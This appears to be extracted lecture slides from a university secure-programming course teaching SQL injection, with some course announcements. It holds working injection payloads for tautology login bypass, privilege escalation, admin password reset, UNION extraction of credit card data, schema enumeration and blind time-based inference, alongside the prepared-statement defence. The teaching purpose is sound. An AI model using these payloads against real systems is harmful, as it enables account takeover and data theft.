XSS vulnerabilities enable attackers to steal Yahoo! accounts (story)
Yahoo! fixes the vulnerability
Yahoo! is still vulnerable (story)
You MUST subscribe to the course mailing list:
http://groups.google.com/group/bham-secure-programming-2012?hl=en
I will use it for announcement
If you have questions/findings/other that you want to share with the rest of the class, feel free to send them to the list
Demonstration sessions are scheduled:
After subscribing to the mailing list, you will also be able to access a calendar with the demonstration sessions.
Need to contact Maxim?
Drop him an email at M.Strygin@cs.bham.ac.uk
MWR InfoSecurity has kindly offered to host a workshop on vulnerabilities and exploits
We saw a process we can follow to help us find vulnerabilities in an application
Now it's time to look into specific classes of vulnerabilities (and exploits)
General class of vulnerabilities
Several instances:
SQL queries are built using (unsanitized) user's data
String q = "SELECT user, pwd FROM users "
+ "WHERE user = '" + request.getParameter("user") + "' ";
stmt.executeQuery(q);
If the attacker provides as parameter special characters such as ‘ (tick), -- (comment), + (space), % (wildcard), it is possible to:
"SELECT user, pwd FROM users "
+ "WHERE user= '" + request.getParameter("user") + "' ";
SQL query:
SELECT user, pwd FROM users WHERE user = 'foo'
"SELECT user, pwd FROM users "
+ "WHERE user= '" + request.getParameter("user") + "' ";
SQL query:
SELECT user, pwd FROM users WHERE user = '' OR 1=1#'
The application is not vulnerable if it uses prepared statements
import java.sql.PreparedStatement;
PreparedStatement authQuery = conn.prepareStatement(
"SELECT user, pwd FROM users WHERE user = ?");
authQuery.setString(1, request.getParameter("user"));
authQuery.executeQuery();
Three-step process:
Vulnerable?
$username = $_GET["user"];
if (!preg_match("/^[a-zA-Z0-9@_]+$/", $username)) {
$username = "INVALID_USERNAME";
}
mysql_query("SELECT * FROM user where username = '" . $username . "'");
Vulnerable?
$username = $_GET["user"];
$username_cleaned = ereg_replace("[^A-Za-z0-9 -@_]", "", $username);
mysql_query("SELECT * FROM user where username = '" . $username . "'");
In a character class, ' -@' means “all characters between space and '@'”
' OR 1=1#
Regular expressions can be tricky
Provide the application specially-crafted values and check if they cause errors
Inject expression (typically a tautology) and check if it is interpreted:
Take advantage of server’s error messages to learn the structure of the database and its tables
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'foo, user, pwd from users' at line 1
INSERT INTO users (user, pwd, privs) VALUES (‘foo’, ‘bar’, 1)
Suppose user field is vulnerable
Attacker submits:
foo’, ‘bar’, 0) #
User foo is now registered with administrative privileges (0)
UPDATE users SET pwd = ‘newbar’ WHERE user = ‘foo’ AND pwd = ‘bar’
Again, suppose user field is vulnerable
Attacker submits:
admin' #
Attacker resets the admin’s password to a string of his/her choice
Suppose you have identified a SQL injection in the following query used in the login page:
SELECT user, pwd FROM users WHERE user = ' +
request.getParameter("user") + '
Great: you can enumerate all users and their passwords.
What if you are interested in the content of the credit_card table?
UNION operator to the rescue:
foo' UNION SELECT cc_n, cc_name FROM credit_card
Finding out more information about the database (MySQL specific)
SELECT DISTINCT user
FROM mysql.user
SELECT table_name, table_schema
FROM information_schema.tables
Finding out more information about the database (MySQL specific)
SELECT column_name, column_type
FROM information_schema.columns
WHERE table_schema = "mydb" AND table_name = "credit_card"
Suppose error messages are disabled
→ unsure whether injection succeded
How do we know if execution was successful?
Techniques:
Scenario:
/view?product_id=N
Injections:
product_id=42 AND user() = "root"
product_id=42 AND
substring(database(), 1, 1) = 'a'
Keywords:
Hash:
HTML structure differences:
Useful inputs to determine baseline:
Leverage time delays to infer execution status
Often attacker can force query to take long time if certain condition is met
Technique:
Are we running as root?
SELECT IF (USER()="root", SLEEP(5), 1);
Is the first letter of the user 'a'?
SELECT IF(SUBSTRING(USER(), 1, 1) = 'a',
SLEEP(10), 2);
1 row in set (0.00 sec)
Is the first letter of the user 'n'?
SELECT IF(SUBSTRING(USER(), 1, 1) = 'n', SLEEP(10), 2);
1 row in set (10.00 sec)